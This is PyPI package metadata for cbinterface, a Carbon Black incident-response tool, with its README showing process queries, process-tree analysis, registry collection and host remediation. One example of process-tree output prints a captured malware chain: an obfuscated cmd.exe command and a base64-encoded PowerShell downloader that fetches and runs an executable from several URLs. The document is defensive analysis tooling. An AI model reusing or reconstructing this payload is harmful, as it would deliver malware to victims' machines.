{ "info": { "author": "Sean McFeely", "author_email": "mcfeelynaes@gmail.com", "bugtrack_url": null, "classifiers": [ "Development Status :: 4 - Beta", "Intended Audience :: Developers", "Intended Audience :: Information Technology", "License :: OSI Approved :: MIT License", "Operating System :: OS Independent", "Programming Language :: Python :: 3", "Programming Language :: Python :: 3.0", "Programming Language :: Python :: 3.1", "Programming Language :: Python :: 3.2", "Programming Language :: Python :: 3.3", "Programming Language :: Python :: 3.4", "Programming Language :: Python :: 3.5", "Programming Language :: Python :: 3.6", "Programming Language :: Python :: 3 :: Only" ], "description": "# cbinterface\n\ncbinterface is a command line tool for interfacing with multiple carbonblack environments to perform analysis and live response functions.\n\n## Some Basic Examples\n\n### query\n\nSearch for a md5:\n\n```\n$ cbinterface query md5:04A34D3737B01636C5BD8C4FFB542896\n\nSearching acme environment..\n\n3 processes returned by the query\n\n -------------------------\n Process GUID: 0000034c-0000-1180-01d3-06eb7d86e9fb\n Process Name: .exe\n Process PID: 4480\n Command Line: \"D:\\ .exe\"\n Parent Name: explorer.exe\n Hostname: win7-blahHost\n Start Time: 2017-07-27 15:17:42.009000\n GUI Link: https://cbserver.prod.acmecorp.com/#analyze/0000034c-0000-1180-01d3-06eb7d86e9fb/\n\n -------------------------\n Process GUID: 0000034c-0000-2120-01d3-06eb5dd25140\n Process Name: dw20.exe\n Process PID: 8480\n Command Line: dw20.exe -x -s 664\n Parent Name: .exe\n Hostname: win7-blahHost\n Start Time: 2017-07-27 15:16:51.325000\n GUI Link: https://cbserver.prod.acmecorp.com/#analyze/0000034c-0000-2120-01d3-06eb5dd25140/1501168673628\n\n -------------------------\n Process GUID: 0000034c-0000-1614-01d3-06eb5f812a21\n Process Name: .exe\n Process PID: 5652\n Command Line: \"D:\\ .exe\"\n Parent Name: explorer.exe\n Hostname: win7-blahHost\n Start Time: 2017-07-27 15:16:48.502000\n GUI Link: https://cbserver.prod.acmecorp.com/#analyze/0000034c-0000-1614-01d3-06eb5f812a21/1501168673628\n\nSearching othercomp environment..\n\n0 process segments returned by the query,\n```\n\nQuery for a keyword on the command line, starting after a certain time and specifying a specific environment:\n\n```\n$ cbinterface -e sandbox query 'cmdline:Invoice*' -s '2018-08-21 07:00:00'\n\n -------------------------\n Process GUID: 0000001c-0000-0fd0-01d4-3943033fdf40\n Process Name: winword.exe\n Process PID: 4048\n Process MD5: bff948019509b5bf3f9b6ceed2e2b8e3\n Command Line: \"C:\\Program Files\\Microsoft Office\\Office14\\WINWORD.EXE\" /n \"C:\\Invoice Confirmation 0O59758.doc\"\n Parent Name: outlook.exe\n Hostname: win-pc-balh\n Username: SANDCORP\\sandman\n Start Time: 2018-08-21 07:35:08.069000-0400\n GUI Link: https://sandbox.local/#analyze/0000001c-0000-0fd0-01d4-3943033fdf40/1534853413801\n\n```\n\n### Process analysis\n\nWalk a process, and print out any filemod events in the process tree:\n\n```\n$ cbinterface proc 0000001c-0000-0fd0-01d4-3943033fdf40 -w -fm\n\nUsing acme environment ..\n\n \"C:\\Program Files\\Microsoft Office\\Office14\\WINWORD.EXE\" /n \"C:\\Invoice Confirmation 0O59758.doc\" (PID=4048)\n \"C:\\Windows\\System32\\cmd.exe\" /v^:/r \" S^ET^ ^0^K^J^=p^ower[h^ell^ ^-e^ ^JA2C^A^FQA^T^w^A^9^A^G^4AZQ^2^3AC0Ab^w2@AG^o^A^ZQ2j^A^HQA+^A^2OA^G,AdA^A)^AFc^A^Z^Q2^@A/^M^Ab^A^2^p^AG^,A^b^g20AD[A^JA^2^:A^F]Ab^A^A^9^ACc^A^a^A2^0^AHQ^AcAA^6ACuA^L^w^2qA^H^,^Ac^w20^A^G^,^Ad^g2v^AGw^Adg^2lAHcA^a^Q^20AGg^A^Zw^2y^AG/A]^w^2^l^AC^4^A]w^2vAG^0^A^L^w^2^P^A/^u^Acw2w^A/AAaA^20A^HQAcAA^6AC^uALw^2^%A^Gu^A^ZA2h^AC^4^AbQ2h^AG[^Ae^Q2h^A^Go^AcA^2^lAH^+Aa^Q2zAG^k^ALg2j^AG^uAb^Q^AvAG^4^Aag2^AA^G^gA^dA^20^AHAAOgAv^AC^u^A^bQ^2^h^AG^kA^b^A^A)^A^D/A^M^g2n^A^H^+^A^]Q^2@AC^4A^]w2vAG0A^Lw2J^A/AAa^A2^0^A&QAc^A^A6AC^u^ALw^2^%^AH^,Aa^g2lAH^+^AcA^2^yA^G^u^A^ZA2^1A^G^MAd^A^2p^AH^]A]^Q^2^y^A^G/A^ZA2^pA^GuAL^g^2^q^A^G/^A]^w2x^A^H^,AZ^Q^2^[^AGkA^b^g2^lA^Ho^Ab^w^2^y^A^H+AaQ2^[A^G^wA^]^Q^A)^A^G^M^A^b^w^2^%ACu^AV^w^2^A^A^G^gAd^A20AHAA^OgAvACuA^ZA^2^l^A^G^w^A^aQ2^%A^G/Acg^2hAC4A]^w^2vAC^4Ae^g^2h^ACu^Ad^A^A^z^Ac^A^L^g^2T^AH^A^Ab^A^2pAH^QA\\A^AnA/^A^AJ^w^ApA^D^[^AJA2pAF^]^AW^QAgA^D0^A^+^AAn^A^D^]^ANw^AzACc^AOwA^k^A^F,^AcA2^@^AD0A^JA2l^A^G^4AdgA6^A^HA^Ad^Q^2^@A^Gw^AaQ^2^jAC[^A^Jw^2cACcA\\wA^kA^G^kAV^g^2Z^AC[^AJw^A)A^G,^AeA2lACcA^O^w^2:^G^G^uAcg2l^A^G/A]^w^2oAC^g^A^JA^2IAFo^AdQAg^AGk^Ab^g^A^gACQAZg2WAG^wA^\\Q^2^7AH^Q^Ac^g2^?AH^[AJA2C^AFQA^TwA)A/^QA^bw23^A^G4A^b^A^2v^AG/AZA2^G^A^Gk^Ab^A^2l^ACgA^JA2^I^AFoA^dQ^A^[AC^A^A^JA^2V^A^HAA^]gA^p^AD^[^AS^Q^2)^AH^]^A^bw^2r^AG,^A^L^Q^2^J^AH^Q^A^Z^Q2^%^AC^AAJA^2VA^HA^A^]g^A^7^AG+Acg^2l^AG/A^a^wA7^A^H^0^A]w^2hAHQ^A]w2^o^A^H^[^A^f^Q29AC^AA^+^A^A^gAC^AA^+A^A^gACA^A+A^A^g^ACAA^+AAgACAA+^AA^gAC^AA+^AA^=& sET ^ ^F^DY^M=!0^K^J^:?^=^5!&& s^et ^ ^ ^ ^pVU^W=^!^F^D^Y^M:^2^=B^!&& sE^T ^ ^ ^lF^k^f=!^pVU^W^:^]^=^Y^!&s^et ^ ^y4=^!^lF^k^f^:^u^=^8^!&&s^eT ^ ^ ^ ^d^5^6=^!^y4^:^:^=m!&& s^e^T ^ l8^k^U=!^d^5^6:^I=^X^!&&s^e^T ^ ^ ^Qi=^!^l^8^k^U^:^@^=i!&& Se^T ^ ^H^a=^!^Q^i:[^=s^!&& S^e^t ^2j^p=^!^H^a^:)=^u^!& s^e^T ^ ^3^G5=^!^2j^p^:^\\^=^K^!&& S^e^t ^ W^b=^!^3^G^5:/^=^E^!&&s^E^T W^d^P=^!^W^b^:^,=U^!&& S^e^t ^ ^f^0=!W^d^P^:+^=I^!&& S^e^T ^ G^b^98=!^f^0^:%=t^!& C^AL^l %G^b^98% \" (PID=1736)\n powershell -e JABCAFQATwA9AG4AZQB3AC0AbwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ADsAJABmAFYAbAA9ACcAaAB0AHQAcAA6AC8ALwBqAHUAcwB0AGUAdgBvAGwAdgBlAHcAaQB0AGgAZwByAGEAYw4BlAC4AYwBvAG0ALwBPAE8AcwBwAEAAaAB0AHQAcAA6AC8ALwBtAG8AZABhAC4AbQBhAGsAeQBhAGoAcABlAHIAaQBzAGkALgBjAG8AbQAvAG4AagBBAGgAdAB0AHAAOgAvAC8AbQBhAGkAbAAuADEAMgBnAHIAYQBiAC4AYwBvAG0ALwBJAEAAaAB0AHQAcAA6AC8ALwBtAHUAagBlAHIAcAByrAG8AZAB1AGMAdABpAHYAYQByAGEAZABpAG8ALgBqAGEAYwBxAHUAZQBsAGkAbgBlAHoAbwByAHIAaQBsAGwAYQAuAGMAbwBtAC8AVwBAAGgAdAB0AHAAOgAvAC8AZABlAGwAaQBtGEAcgBhAC4AYwBvAC4AegBhAC8AdAAzACcALgBTAHAAbABpAHQAKAAnAEAAJwApADsCATSareCOOLpAFYAWQAgAD0AIAAnADYANwAzACcAOwAkAFUAcABiAD0AJABlAG4AdgA6AHAAdQBiAGwAaQBjACsAJwBcACcAKwAkAGkAVgBZACsAJwAuAGUAeABlACcAOwBmAG8AcgBlAGEAYwBoACgAJABXAFoAdQAgAGkAbgAgACQAZgBWAGwAKQB7AHQAcgB5AHsAJABCAFQATwAuAEQAbwB3AG4AbABvAGEAZABGAGkAbABlACgAJABXAFoAdQAsACAAJABVAHAAYgApADsASQBuAHYAbwBrAGUALQBJAHQAZQBtACAAJABVAHAAYgA7AGIAcgBlAGEAawA7AH0AYwBhAHQAYwBoAHsAfQB9ACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAA= (PID=2464)\n\n+ winword.exe (PID:4048) - 0000001c-0000-0fd0-01d4-3943033fdf40\n === FILEMODS ====\n 2018-08-21 07:35:11.073000-0400: FirstWrote: c:\\users\\sandman\\appdata\\local\\temp\\cvr1d81.tmp.cvr\n 2018-08-21 07:35:11.073000-0400: Deleted: c:\\users\\sandman\\appdata\\local\\temp\\cvr1d81.tmp\n 2018-08-21 07:35:11.454000-0400: FirstWrote: c:\\users\\sandman\\appdata\\roaming\\microsoft\\templates\\~$normal.dotm\n 2018-08-21 07:35:11.454000-0400: FirstWrote: c:\\analysis\\0\\bin\\~$normal.dotm.3279569956\n 2018-08-21 07:35:11.504000-0400: FirstWrote: c:\\users\\sandman\\appdata\\local\\microsoft\\windows\\temporary internet files\\content.word\\~wrs{30bdd0a0-5905-40ad-9ed4-f1591f3866a9}.tmp\n 2018-08-21 07:35:11.504000-0400: FirstWrote: c:\\analysis\\0\\bin\\~wrs{30bdd0a0-5905-40ad-9ed4-f1591f3866a9}.tmp.1554814961\n 2018-08-21 07:35:51.694000-0400: FirstWrote: c:\\~$voice confirmation 0o59758.doc\n 2018-08-21 07:35:51.694000-0400: FirstWrote: c:\\analysis\\0\\bin\\~$voice confirmation 0o59758.doc.164820488\n 2018-08-21 07:35:52.465000-0400: FirstWrote: c:\\users\\sandman\\appdata\\roaming\\microsoft\\office\\recent\\invoice confirmation 0o59758.lnk\n 2018-08-21 07:35:52.465000-0400: FirstWrote: c:\\analysis\\0\\bin\\invoice confirmation 0o59758.lnk.1355676710\n 2018-08-21 07:35:52.476000-0400: FirstWrote: c:\\users\\sandman\\appdata\\roaming\\microsoft\\office\\recent\\index.dat\n 2018-08-21 07:35:52.556000-0400: Deleted: c:\\users\\sandman\\appdata\\roaming\\microsoft\\office\\recent\\invoice confirmation 0o59758.lnk\n 2018-08-21 07:35:52.586000-0400: FirstWrote: c:\\analysis\\0\\bin\\index.dat.3329669335\n\n+ cmd.exe (PID:1736) - 0000001c-0000-06c8-01d4-39431dd7d4b0\n === FILEMODS ====\n\n+ powershell.exe (PID:2464) - 0000001c-0000-09a0-01d4-39431e4a6fc0\n === FILEMODS ====\n 2018-08-21 07:36:05.650000-0400: FirstWrote: c:\\users\\sandman\\appdata\\roaming\\microsoft\\windows\\recent\\customdestinations\\gik7dvs0hbwl83m8rt5u.temp\n 2018-08-21 07:36:05.650000-0400: FirstWrote: c:\\analysis\\0\\bin\\gik7dvs0hbwl83m8rt5u.temp.3088633466\n 2018-08-21 07:36:05.650000-0400: FirstWrote: c:\\users\\sandman\\appdata\\roaming\\microsoft\\windows\\recent\\customdestinations\\d93f411851d7c929.customdestinations-ms\n 2018-08-21 07:36:05.650000-0400: Deleted: c:\\users\\sandman\\appdata\\roaming\\microsoft\\windows\\recent\\customdestinations\\gik7dvs0hbwl83m8rt5u.temp\n\n```\n\n### Live Response\n\n#### Collection\n\nCollect a registry from a host:\n\n $ cbinterface collect -r \"HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\badness\"\n Wed Jan 3 13:36:36 2018... starting\n Using acme environment ..\n LR session started at Wed Jan 3 13:38:30 2018\n\n HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\badness\n -------------------------\n Name: badness\n Type: REG_SZ\n Data: \"c:\\users\\sandman\\appdata\\roaming\\asdf3j\\badness.exe\"\n\n Wed Jan 3 13:38:31 2018...Done.\n\n#### Remediation\n\nRemediate an infected host:\n\n $ cat remediate.ini\n [files]\n file1=C:\\Users\\fakeuser\\Desktop\\testfile.txt\n\n [process_names]\n proc1=cmd.exe\n proc2=notepad++.exe\n\n [directories]\n directory1=C:\\Users\\fakeuser\\Desktop\\nanocore\n\n [pids]\n pid1=10856\n\n [registry_paths]\n reg1=HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\calc\n reg2=HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\hippo\n\n\n $ cbinterface remediate -f remediate.ini\n\n Mon Oct 9 16:43:58 2017... starting\n Using acme environment ..\n Remediating ..\n found: c:\\program files (x86)\\notepad++\\notepad++.exe with pid:2788\n found: c:\\windows\\system32\\cmd.exe with pid:7212\n + successfully killed pid:10856\n + successfully killed pid:2788\n + successfully killed pid:7212\n + Deleted C:\\Users\\fakeuser\\Desktop\\testfile.txt\n + Deleted HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\calc\n + Deleted HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\hippo\n + Deleted C:\\Users\\fakeuser\\Desktop\\nanocore\n Mon Oct 9 16:44:02 2017...Done.\n\n\n## Requirements\n\n```bash\npip install cbapi\n```\n\n## Installation\n\n```bash\npip install cbinterface\n```\n\n## Getting Started\n\n\nCurrently, cbiterface straps onto the default configuration files used by cbapi (see [here](https://github.com/carbonblack/cbapi-python#api-token)).\n\nIf you have multiple carbonblack environments, you should name the sections in your credentials.response configuration something meaningful. In addition, there are currently two custom fields that cbiterface looks for in the carbonblack response configuration file. First, ```envtype``` , which specifies the type of carbonblack environment. By default, **cbinterface will only return results or attach to environments where ```envtype``` is set to 'production'**. Otherwise, you will have to use the `-e` flag to specify the environment you want to work with. Below is an example credentials.response file:\n\n [sandbox]\n url=https://sandbox.local\n token=abcdef0123456789abcdef\n ssl_verify=False\n envtype=sandbox\n\n [acme]\n url=https://cbserver.prod.acmecorp.com\n token=aaaaaa\n ssl_verify=True\n ignore_system_proxy=True\n envtype=production\n\n [othercomp]\n url=https://cb.othercomp.com\n token=bbbbbb\n ssl_verify=True\n envtype=production\n\n\n\n", "description_content_type": "", "docs_url": null, "download_url": "", "downloads": { "last_day": -1, "last_month": -1, "last_week": -1 }, "home_page": "https://github.com/IntegralDefense/cbinterface", "keywords": "carbonblack", "license": "Apache-2.0", "maintainer": "", "maintainer_email": "", "name": "c-cbinterface", "package_url": "https://pypi.org/project/c-cbinterface/", "platform": "", "project_url": "https://pypi.org/project/c-cbinterface/", "project_urls": { "Homepage": "https://github.com/IntegralDefense/cbinterface" }, "release_url": "https://pypi.org/project/c-cbinterface/1.1.1/", "requires_dist": [ "cbapi" ], "requires_python": "", "summary": "command line tool for interfacing with multiple carbonblack environments to perform analysis and live response functions", "version": "1.1.1" }, "last_serial": 4194677, "releases": { "1.0.0": [ { "comment_text": "", "digests": { "md5": "70de4cb96663f3f13a0e1016c49ad9c9", "sha256": "bc7128badf3182a33751412d6347345b8bba36f881e1cf52ff565c3d096123e8" }, "downloads": -1, "filename": "c_cbinterface-1.0.0-py3-none-any.whl", "has_sig": false, "md5_digest": "70de4cb96663f3f13a0e1016c49ad9c9", "packagetype": "bdist_wheel", "python_version": "py3", "requires_python": null, "size": 34439, "upload_time": "2018-08-22T01:10:40", "url": "https://files.pythonhosted.org/packages/63/54/a2f3996c4855892e2935ccea32f0882970b2b2c4e2119cfeab1c091031df/c_cbinterface-1.0.0-py3-none-any.whl" }, { "comment_text": "", "digests": { "md5": "d291a9eebac49144a1ab87164a475a5d", "sha256": "17b6eb98a88e6aacf373a000f6fa6a41190b954bccd50368467bfe3b1bc60bf4" }, "downloads": -1, "filename": "c-cbinterface-1.0.0.tar.gz", "has_sig": false, "md5_digest": "d291a9eebac49144a1ab87164a475a5d", "packagetype": "sdist", "python_version": "source", "requires_python": null, "size": 26725, "upload_time": "2018-08-22T01:10:41", "url": "https://files.pythonhosted.org/packages/49/1e/93d33b516a95ef3ccbbde6def557ce4f5c9b26983b243553ab402a7f106c/c-cbinterface-1.0.0.tar.gz" } ], "1.0.1": [ { "comment_text": "", "digests": { "md5": "20b44439c047b0319928adedd6b892a3", "sha256": "37ba16c3b38f2aefa004e59dba30aaeef644b6228c5c5d7c6149c34ceba0bfb9" }, "downloads": -1, "filename": "c_cbinterface-1.0.1-py3-none-any.whl", "has_sig": false, "md5_digest": "20b44439c047b0319928adedd6b892a3", "packagetype": "bdist_wheel", "python_version": "py3", "requires_python": null, "size": 34445, "upload_time": "2018-08-22T01:31:54", "url": "https://files.pythonhosted.org/packages/cd/b4/e91875059ec5a0fa622924a2f1b1412324e02778601bfa0174a00354ca71/c_cbinterface-1.0.1-py3-none-any.whl" }, { "comment_text": "", "digests": { "md5": "7a39aa798568146870bbd8f8fba0a919", "sha256": "55573643cfaeffaaead5b4f732b112de9af82cf972cafec350dddd9d93aa0ac4" }, "downloads": -1, "filename": "c-cbinterface-1.0.1.tar.gz", "has_sig": false, "md5_digest": "7a39aa798568146870bbd8f8fba0a919", "packagetype": "sdist", "python_version": "source", "requires_python": null, "size": 26732, "upload_time": "2018-08-22T01:31:56", "url": "https://files.pythonhosted.org/packages/64/69/27f2ed926d8c640c849b766a7cfec0fa0f0a523c901c95f35166b805cf10/c-cbinterface-1.0.1.tar.gz" } ], "1.1.1": [ { "comment_text": "", "digests": { "md5": "d9a1566677690395ea7e6bcd9e9e33cb", "sha256": "6218ceedf6e44518f4f75e33badbc1943c1b48d81bd0bfaa4ccb87470216938f" }, "downloads": -1, "filename": "c_cbinterface-1.1.1-py3-none-any.whl", "has_sig": false, "md5_digest": "d9a1566677690395ea7e6bcd9e9e33cb", "packagetype": "bdist_wheel", "python_version": "py3", "requires_python": null, "size": 34441, "upload_time": "2018-08-22T01:35:53", "url": "https://files.pythonhosted.org/packages/9b/b7/c86525d8e8e75d5a73497be41ec1260c976965ba93f712cd5b9540e2c833/c_cbinterface-1.1.1-py3-none-any.whl" }, { "comment_text": "", "digests": { "md5": "f6e4809e7f82362f4398581515e73036", "sha256": "3e4243f141e7b214e79746a5c5fe5094c7dfcb52541610840c36f127584a514d" }, "downloads": -1, "filename": "c-cbinterface-1.1.1.tar.gz", "has_sig": false, "md5_digest": "f6e4809e7f82362f4398581515e73036", "packagetype": "sdist", "python_version": "source", "requires_python": null, "size": 26733, "upload_time": "2018-08-22T01:35:54", "url": "https://files.pythonhosted.org/packages/b6/58/117131d58ee3bcb5ad48110378f0bab7b24b80e4e2d38d3e01904dd16750/c-cbinterface-1.1.1.tar.gz" } ] }, "urls": [ { "comment_text": "", "digests": { "md5": "d9a1566677690395ea7e6bcd9e9e33cb", "sha256": "6218ceedf6e44518f4f75e33badbc1943c1b48d81bd0bfaa4ccb87470216938f" }, "downloads": -1, "filename": "c_cbinterface-1.1.1-py3-none-any.whl", "has_sig": false, "md5_digest": "d9a1566677690395ea7e6bcd9e9e33cb", "packagetype": "bdist_wheel", "python_version": "py3", "requires_python": null, "size": 34441, "upload_time": "2018-08-22T01:35:53", "url": "https://files.pythonhosted.org/packages/9b/b7/c86525d8e8e75d5a73497be41ec1260c976965ba93f712cd5b9540e2c833/c_cbinterface-1.1.1-py3-none-any.whl" }, { "comment_text": "", "digests": { "md5": "f6e4809e7f82362f4398581515e73036", "sha256": "3e4243f141e7b214e79746a5c5fe5094c7dfcb52541610840c36f127584a514d" }, "downloads": -1, "filename": "c-cbinterface-1.1.1.tar.gz", "has_sig": false, "md5_digest": "f6e4809e7f82362f4398581515e73036", "packagetype": "sdist", "python_version": "source", "requires_python": null, "size": 26733, "upload_time": "2018-08-22T01:35:54", "url": "https://files.pythonhosted.org/packages/b6/58/117131d58ee3bcb5ad48110378f0bab7b24b80e4e2d38d3e01904dd16750/c-cbinterface-1.1.1.tar.gz" } ] }